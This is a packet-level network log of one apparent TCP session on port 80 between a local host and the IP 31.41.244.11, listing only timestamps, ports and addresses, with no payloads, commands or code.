Dec 20, 2024 13:12:26.125010014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.125020027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.125063896 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.125823021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.125866890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.126038074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.126080036 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.127159119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.127365112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.127408028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.128139973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.128184080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.128201962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.128241062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.129069090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.129115105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.129139900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.129183054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.130153894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.130196095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.130254984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.130295038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.131237030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.131279945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.131283998 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.131330967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.132155895 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.132448912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.132512093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.133208990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.133255005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.133435965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.133479118 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.134351015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.134361029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.134392023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.134408951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.135360003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.135548115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.135592937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.136358023 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.136585951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.136637926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.137358904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.137403965 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.137434959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.137481928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.138437986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.138483047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.139508963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.139518976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.139528990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.139561892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.139590025 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.140551090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.140851021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.140898943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.141580105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.141622066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.142087936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.142132998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.142653942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.142663956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.142697096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.142709970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.143731117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.143893003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.143937111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.144706964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.145147085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.145198107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.145999908 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.146044016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.146528959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.146574020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.147069931 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.147114038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.147217035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.147260904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.147973061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.148144960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.148194075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.148894072 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.149081945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.149127960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.150055885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.150280952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.150326014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.151062965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.151174068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.151222944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.152040958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.152096033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.152188063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.152281046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.153074980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.153117895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.153711081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.153778076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.154196024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.154254913 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.154465914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.154505968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.155260086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.155271053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.155318022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.156271935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.156819105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.156866074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.157258987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.157303095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.294637918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.294768095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.294838905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.295042992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.295052052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.295073986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.295089960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.295103073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.296152115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.296237946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.296953917 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.297188997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.297226906 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.297264099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.297303915 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.298285961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.298336983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.298851967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.299031973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.299238920 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.299448013 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.299453974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.299521923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.300359011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.300370932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.300422907 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.301337957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.301382065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.301424026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.301424980 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.302372932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.302539110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.302562952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.302620888 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.303400040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.303524971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.303584099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.304476976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.304533005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.305493116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.305504084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.305540085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.305592060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.305592060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.306575060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.306688070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.306709051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.306768894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.307610989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.307770967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.308029890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.308098078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.308631897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.308712959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.309711933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.309722900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.309768915 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.309802055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.309815884 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.310749054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.310839891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.311340094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.311429977 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.311842918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.311853886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.311948061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.312882900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.312892914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.312947035 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.313947916 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.314125061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.314146042 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.314204931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.315182924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.315532923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.315721035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.315949917 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.315979004 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.316035986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.316334009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.316623926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.317164898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.317234039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.317411900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.317626953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.318161964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.318340063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.318420887 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.319180965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.319236040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.319761038 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.319808960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.320291996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.320302010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.320378065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.321227074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.321290016 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.321372986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.321419954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.322293043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.322415113 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.323385000 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.323394060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.323491096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.323510885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.324027061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.324408054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.324417114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.324459076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.324497938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.325571060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.325634956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.325655937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.325743914 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.326616049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.326626062 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.326719999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.327610970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.327794075 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.328130960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.328205109 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.328629017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.328646898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.328689098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.328689098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.329718113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.329786062 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.330701113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.330710888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.330720901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.330763102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.330776930 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.331794024 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.331849098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.331875086 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.331940889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.332793951 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.332889080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.332911015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.332983017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.333791018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.333947897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.334189892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.334271908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.334913969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.335026979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.335057974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.335107088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.335984945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.335997105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.336174011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.336956978 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.337022066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.337311029 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.337368011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.337979078 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.338041067 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.338251114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.338373899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.339051962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.339139938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.339346886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.339411020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.340111971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.340163946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.340603113 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.340717077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.341382980 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.341394901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.341461897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.342202902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.342298985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.342585087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.342639923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.343266010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.343331099 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.343410969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.343467951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.344372034 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.344500065 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.345252037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.345309019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.345494032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.345504045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.345628023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.346456051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.346524000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.346546888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.346596956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.347417116 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.347517967 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.348484993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.348495960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.348547935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.348570108 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.348635912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.349466085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.349538088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.486596107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.486799955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.486865997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.486875057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.486912966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.486969948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.486969948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.487915039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.488008976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.488126993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.488197088 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.488975048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.489152908 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.489718914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.489731073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.489737988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.489875078 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.490746975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.490835905 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.490946054 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.491007090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.491810083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.491947889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.492115021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.492217064 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.492938995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.493000031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.493120909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.493175983 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:26.493952036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:26.494036913 CET	80	49859	31.41.244.11	192.168.2.5
